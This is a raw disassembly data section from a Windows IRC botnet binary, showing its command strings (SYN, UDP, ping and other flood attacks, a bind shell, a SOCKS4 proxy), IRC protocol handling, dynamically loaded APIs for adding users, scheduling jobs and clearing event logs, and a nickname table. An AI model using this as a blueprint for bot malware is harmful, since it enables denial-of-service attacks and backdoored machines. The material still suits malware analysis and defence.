dword_42FBC8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401AA1+F91o
					; sub_401AA1+1016o
dword_42FBD8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401AA1+F8Co
					; sub_401AA1+1011o
dword_42FBE8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401AA1+F3Ao
					; sub_401AA1+1091o
dword_42FBF4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AA1+F35o
					; sub_401AA1+108Co
dword_42FC00	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AA1+F1Fo
					; sub_401AA1+1068o
dword_42FC0C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AA1+F1Ao
					; sub_401AA1+1063o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401AA1+EBDo
		align 4
dword_42FC24	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401AA1+EB2o
					; sub_401AA1+F73o
dword_42FC30	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AA1+EADo
					; sub_401AA1+F6Eo
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401AA1+E94o
		align 4
dword_42FC48	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401AA1+E89o
					; sub_401AA1+F58o
dword_42FC58	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AA1+E84o
					; sub_401AA1+F53o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401AA1+E6Bo
		align 4
dword_42FC74	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401AA1+E60o
					; sub_401AA1+FCAo
dword_42FC84	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401AA1+E5Bo
					; sub_401AA1+FC5o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401AA1+E42o
		align 10h
dword_42FCA0	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AA1+E37o
					; sub_401AA1+F01o
dword_42FCAC	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AA1+E32o
					; sub_401AA1+EFCo
aSynstop	db 'synstop',0          ; DATA XREF: sub_401AA1+E19o
dword_42FCC0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401AA1+E0Eo
					; sub_401AA1+EE6o
dword_42FCCC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AA1+E09o
					; sub_401AA1+EE1o
dword_42FCD8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AA1+DF0o
dword_42FCE4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401AA1+DE5o
dword_42FCF4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401AA1+DE0o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AA1+DC7o
		align 4
dword_42FD14	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AA1+DBCo
dword_42FD20	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401AA1+DB7o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401AA1+D9Eo
dword_42FD34	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401AA1+D93o
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AA1+D75o
		align 10h
dword_42FD50	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401AA1+D6Ao
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AA1+D4Co
		align 4
dword_42FD6C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401AA1+D41o
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AA1+D23o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AA1+D0Eo
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AA1+CF9o
		align 4
dword_42FD94	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_401AA1+CEEo
aServer		db 'Server',0           ; DATA XREF: sub_401AA1+CE9o
					; sub_401AA1+D3Co ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AA1+CD0o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401AA1+CBBo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AA1+CA6o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401AA1+C91o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AA1+C7Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401AA1+C67o
aDedication	db 'dedication',0       ; DATA XREF: sub_401AA1+C52o
		align 10h
aLo		db 'lo',0               ; DATA XREF: sub_401AA1+C3Do
		align 4
aDie		db 'die',0              ; DATA XREF: sub_401AA1+BFEo
aRn		db 'rn',0               ; DATA XREF: sub_401AA1+BE9o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AA1+BD1o
a63		db '63',0               ; DATA XREF: sub_401AA1+AA0o
		align 4
asc_42FE08:				; DATA XREF: sub_401AA1+A78o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AA1+A3Eo
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_401AA1+A33o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AA1+A22o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AA1+A06o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: sub_401AA1+9F5o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AA1+9E3o
aD_0		db '$%d',0              ; DATA XREF: sub_401AA1+975o
aD_1		db '$%d-',0             ; DATA XREF: sub_401AA1+8BFo
		align 4
dword_42FE48	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AA1+84Eo
		dd 0A0Dh
dword_42FE60	dd 4E495001h, 47h	; DATA XREF: sub_401AA1+81Ao
dword_42FE68	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AA1+80Fo
		dd 0D017325h, 0Ah
dword_42FE84	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401AA1+7DEo
dword_42FE90	dd 323333h		; DATA XREF: sub_401AA1+606o
					; sub_401AA1+6CDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AA1+5E4o
					; sub_408BC1+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AA1+5D8o
					; sub_408BC1+16o
unk_42FEA4	db  2Dh	; -		; DATA XREF: sub_401AA1+587o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42FEC8	db  2Dh	; -		; DATA XREF: sub_401AA1+567o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401AA1+536o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401AA1+4F9o
					; sub_40DF38+5CEo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AA1+4E8o
					; sub_401AA1+5A4o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AA1+4C3o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AA1+3AFo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+352o
					; sub_401AA1+5C8o
unk_42FF1C	db  2Dh	; -		; DATA XREF: sub_401AA1+339o
					; sub_401AA1+2918o ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401AA1+2D6o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+27Fo
					; sub_401AA1+6E20o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401AA1+257o
					; sub_414C5B:loc_414CD0o
a302		db '302',0              ; DATA XREF: sub_401AA1+21Co
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+1D6o
					; sub_401AA1+39Co ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+1B5o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401AA1+19Bo
					; sub_414C5B+4Eo
		align 4
asc_42FF7C:				; DATA XREF: sub_401AA1+A8o
					; sub_401AA1+B75o ...
		unicode	0, < >,0
asc_42FF80	db ' :',0               ; DATA XREF: sub_401AA1+86o
					; sub_401AA1:loc_4022F9o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408BC1+58o
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_408C5C+BBBo
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_408C5C+BAEo
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_408C5C+BA1o
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_408C5C+B94o
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_408C5C+B87o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_408C5C+B7Fo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_408C5C:loc_4097CEo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_408C5C+B3Do
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_408C5C+B35o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_408C5C:loc_409784o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408C5C+AE3o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408C5C+AD6o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_408C5C+AC9o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_408C5C+AC1o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_408C5C:loc_409710o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408C5C+A7Fo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_408C5C+A77o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_408C5C:loc_4096C6o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408C5C+A35o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408C5C+A2Do
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_408C5C:loc_40967Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_408C5C+99Fo
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_408C5C+992o
					; sub_415CED+54o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_408C5C+985o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_408C5C+978o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_408C5C+96Bo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_408C5C+95Eo
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_408C5C+951o
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_408C5C+944o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408C5C+937o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_408C5C+92Ao
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_408C5C+91Do
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_408C5C+915o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_408C5C:loc_409560o
					; sub_415CED+47o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_408C5C+8C7o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_408C5C+8BAo
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_408C5C+8B2o
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_408C5C:loc_409501o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408C5C+878o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_408C5C+806o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_408C5C+7F9o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_408C5C+7ECo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_408C5C+7DFo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_408C5C+7D2o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_408C5C+7C5o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_408C5C+7B8o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_408C5C+7ABo
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408C5C+79Eo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_408C5C+796o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_408C5C:loc_4093E1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_408C5C+64Co
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_408C5C+63Fo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_408C5C+632o
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_408C5C+625o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_408C5C+618o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_408C5C+60Bo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_408C5C+5FEo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_408C5C+5E4o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_408C5C+5D7o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_408C5C+5CFo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_408C5C+5BDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_408C5C+5B0o
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_408C5C+5A3o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_408C5C+589o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_408C5C+57Co
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_408C5C+56Fo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_408C5C+562o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_408C5C+555o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_408C5C+548o
		align 10h
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_408C5C+52Eo
aSocket		db 'socket',0           ; DATA XREF: sub_408C5C+521o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_408C5C+514o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_408C5C+507o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_408C5C+4FAo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_408C5C+4EDo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_408C5C+4E0o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_408C5C+4D3o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_408C5C+4CBo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_408C5C+4BAo
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_408C5C+447o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_408C5C+43Ao
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_408C5C+42Do
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_408C5C+420o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_408C5C+413o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_408C5C+406o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_408C5C+3F9o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_408C5C+3ECo
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_408C5C+3E4o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_408C5C:loc_40902Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_408C5C:loc_409007o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408C5C+353o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_408C5C+346o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_408C5C+339o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_408C5C+32Co
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_408C5C+31Fo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_408C5C+312o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_408C5C+305o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_408C5C:loc_408F59o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408C5C+2CDo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408C5C+2C0o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_408C5C:loc_408F14o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_408C5C+26Co
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_408C5C+25Fo
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_408C5C+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_408C5C+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_408C5C+238o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_408C5C+22Bo
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_408C5C+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_408C5C+216o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_408C5C:loc_408E61o
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_408C5C+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_408C5C+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_408C5C+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_408C5C+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_408C5C+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_408C5C+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_408C5C+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_408C5C+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_408C5C:loc_408D91o
					; sub_421A91+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_408C5C:loc_408D64o
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408C5C+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408C5C+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_408C5C+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_408C5C+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408C5C+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408C5C+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_408C5C+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_408C5C+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_408C5C+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408C5C+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_408C5C+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_408C5C+Ao
		align 4
unk_4307E8	db  2Dh	; -		; DATA XREF: sub_409874+2BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409874+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409874+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409874+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409874+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409874+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409874+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409874+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409874+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409874+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409874+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409874+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409874+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409874+28o
		align 4
a_:					; DATA XREF: sub_40CA12+13o
					; sub_40EEC8+24Co
		unicode	0, <.>,0
unk_43095C	db  2Dh	; -		; DATA XREF: sub_409BA3:loc_409C74o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_43098C	db  2Dh	; -		; DATA XREF: sub_409BA3:loc_409C42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_4309BC	db  2Dh	; -		; DATA XREF: sub_409BA3:loc_409BF8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_4309E0	db  2Dh	; -		; DATA XREF: sub_409BA3+45o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_409C7B+46o
					; sub_40B014+38o ...
aReal		db 'real',0             ; DATA XREF: sub_40A0C6+Fr
		align 10h
		dd 0
dword_430A24	dd 0			; DATA XREF: sub_40A0C6:loc_40A0EDr
off_430A28	dd offset sub_409D24	; DATA XREF: sub_40A0C6+4Ar
aConst		db 'const',0
		align 8
		dd 1, 409D90h, 7474656Ch, 7265h, 0
		dd 2, 409DEEh, 706D6F63h, 2 dup(0)
		dd 3, 409E3Bh, 6E756F63h, 797274h, 0
		dd 4, 409EAAh, 736Fh, 2	dup(0)
		dd 5, 409F1Fh
off_430A90	dd offset aAbdulrazak	; DATA XREF: sub_409D24+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
